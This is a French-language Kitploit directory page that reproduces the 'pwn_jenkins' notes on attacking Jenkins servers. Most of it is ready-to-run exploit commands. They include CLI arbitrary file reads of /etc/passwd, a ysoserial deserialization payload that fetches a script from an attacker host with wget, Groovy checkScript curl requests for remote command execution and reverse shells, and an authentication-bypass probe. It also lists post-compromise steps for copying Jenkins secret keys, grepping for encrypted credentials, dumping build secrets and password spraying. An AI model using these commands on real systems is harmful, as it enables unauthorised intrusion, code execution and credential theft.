Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pwn_jenkins — Notes sur l'attaque des serveurs Jenkins | Kitploit
Outils/GitHubGitHub/gquere/pwn_jenkins
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsPost-ExploitationTests d'IntrusionDétection de SecretsDéveloppement de Charges Utiles
GitHubgquere/pwn_jenkins

pwn_jenkins

2.1k32622il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Notes sur l'attaque des serveurs Jenkins

Voir le dépôt

Exécution de code à distance

Lecture arbitraire via Jenkins CLI (CVE-2024-23897 concerne les versions antérieures à 2.442 et à la LTS 2.426.3)

Avis de Jenkins, Crédits

Authentifié, peut récupérer un fichier complet :

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Non authentifié ou sans les permissions Global/Read, ne peut lire que 3 lignes : Read first line:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Read second line:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Read third line:

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

Comment bruteforcer la clé de chiffrement des identifiants.

RCE par déserialisation dans les anciennes versions de Jenkins (CVE-2015-8103, Jenkins 1.638 et versions antérieures)

Utilisez ysoserial pour générer une charge utile. Puis exécutez la RCE à l'aide de ce script :

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Contournement d'authentification/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Avis de Jenkins

Détails ici.

Si le serveur Jenkins demande une authentification mais renvoie des données valides avec la requête suivante, il est vulnérable :

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE par métaprogrammation dans les plugins Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Avis de Jenkins

Vulnérabilité RCE originale ici, exploit complet ici.

Autre possibilité de RCE avec les permissions Overall/Read et Job/Configure ici.

RCE via CheckScript dans Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Avis de Jenkins, Crédits.

Vérifiez si une instance Jenkins est vulnérable (nécessite les permissions Overall/Read) avec un peu de Groovy :

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Remarque : si vous obtenez une erreur 403 concernant un crumb manquant (qui est une protection CSRF dans Jenkins), vous pouvez peut-être obtenir la valeur du crumb via une requête GET vers https://example.com/crumbIssuer/api/json. La valeur du crumb doit ensuite être ajoutée à la requête POST dans un en-tête Jenkins-Crumb.

Exécutez des commandes bash arbitraires :

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Si vous n'obtenez pas immédiatement un shell inverse, vous pouvez déboguer en levant une exception :

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE dans le plugin Git (<3.12.0) de Jenkins (CVE-2019-10392)

Avis de Jenkins, Crédits.

Cette exploitation ne fonctionne que si un utilisateur possède les droits « Jobs/Configure » dans la matrice de sécurité ; elle est donc très spécifique.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Avis de Jenkins, Crédits

Notez que cette vulnérabilité n'est exploitable qu'en utilisant un Update Center dédié et obsolète. Par conséquent, la plupart des serveurs ne sont pas vulnérables.

Extraction des builds pour trouver des secrets en clair

Utilisez ce script pour extraire les sorties de console des builds et les variables d'environnement des builds, dans l'espoir de trouver des secrets en clair.

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Pulvérisation de mots de passe

Utilisez ce script python ou ce script powershell.

Fichiers à copier après compromission

Ces fichiers sont nécessaires pour déchiffrer les secrets Jenkins :

  • secrets/master.key
  • secrets/hudson.util.Secret

De tels secrets se trouvent généralement dans :

  • credentials.xml
  • jobs/.../build.xml

Voici une expression régulière pour les trouver :

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Extraction des identifiants LDAP sur une machine compromise

Télécharger l’outil